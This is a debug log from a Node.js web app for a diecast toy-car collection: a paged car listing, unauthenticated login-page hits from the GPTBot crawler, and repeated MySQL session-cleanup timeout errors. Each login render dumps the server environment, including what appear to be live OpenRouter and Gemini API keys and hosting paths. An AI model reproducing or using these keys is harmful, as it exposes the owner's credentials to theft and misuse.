    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-01-30T10:36:20.632Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 68,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-01-30T10:42:40.897Z server-connect:app Executing action step identify
2026-01-30T10:42:40.897Z server-connect:app options: { provider: 'security' }
2026-01-30T10:42:40.897Z server-connect:output identity: 1
2026-01-30T10:45:51.772Z server-connect:router Serving templateView /
2026-01-30T10:45:51.773Z server-connect:app Executing action step identify
2026-01-30T10:45:51.773Z server-connect:app options: { provider: 'security' }
2026-01-30T10:45:51.773Z server-connect:auth No login cookie found
2026-01-30T10:45:51.773Z server-connect:output identity: false
2026-01-30T10:45:51.773Z server-connect:app Executing action step restrict
2026-01-30T10:45:51.773Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:45:51.773Z server-connect:output restrict: undefined
2026-01-30T10:45:51.903Z server-connect:router Serving templateView /login
2026-01-30T10:45:51.904Z server-connect:app Executing action step identify
2026-01-30T10:45:51.904Z server-connect:app options: { provider: 'security' }
2026-01-30T10:45:51.904Z server-connect:auth No login cookie found
2026-01-30T10:45:51.904Z server-connect:output identity: false
2026-01-30T10:45:51.904Z server-connect:router Render template layouts/authentication
2026-01-30T10:45:51.904Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '497761556',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.241.57',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:45:51.902Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.241.57',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '497761556',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.241.57',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-30 10:58:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-30 10:58:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-30 14:35:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-30 14:35:11' as DATETIME)"
}
2026-01-30T15:50:12.056Z server-connect:router Serving templateView /
2026-01-30T15:50:12.057Z server-connect:app Executing action step identify
2026-01-30T15:50:12.058Z server-connect:app options: { provider: 'security' }
2026-01-30T15:50:12.058Z server-connect:auth No login cookie found
2026-01-30T15:50:12.058Z server-connect:output identity: false
2026-01-30T15:50:12.058Z server-connect:app Executing action step restrict
2026-01-30T15:50:12.058Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T15:50:12.059Z server-connect:output restrict: undefined
2026-01-30T15:50:12.188Z server-connect:router Serving templateView /login
2026-01-30T15:50:12.189Z server-connect:app Executing action step identify
2026-01-30T15:50:12.189Z server-connect:app options: { provider: 'security' }
2026-01-30T15:50:12.189Z server-connect:auth No login cookie found
2026-01-30T15:50:12.189Z server-connect:output identity: false
2026-01-30T15:50:12.189Z server-connect:router Render template layouts/authentication
2026-01-30T15:50:12.189Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '305201621',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.242.47',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T15:50:12.188Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.242.47',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '305201621',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.242.47',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-30 19:59:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-30 19:59:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-30 21:03:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-30 21:03:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 00:00:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 00:00:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 07:22:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
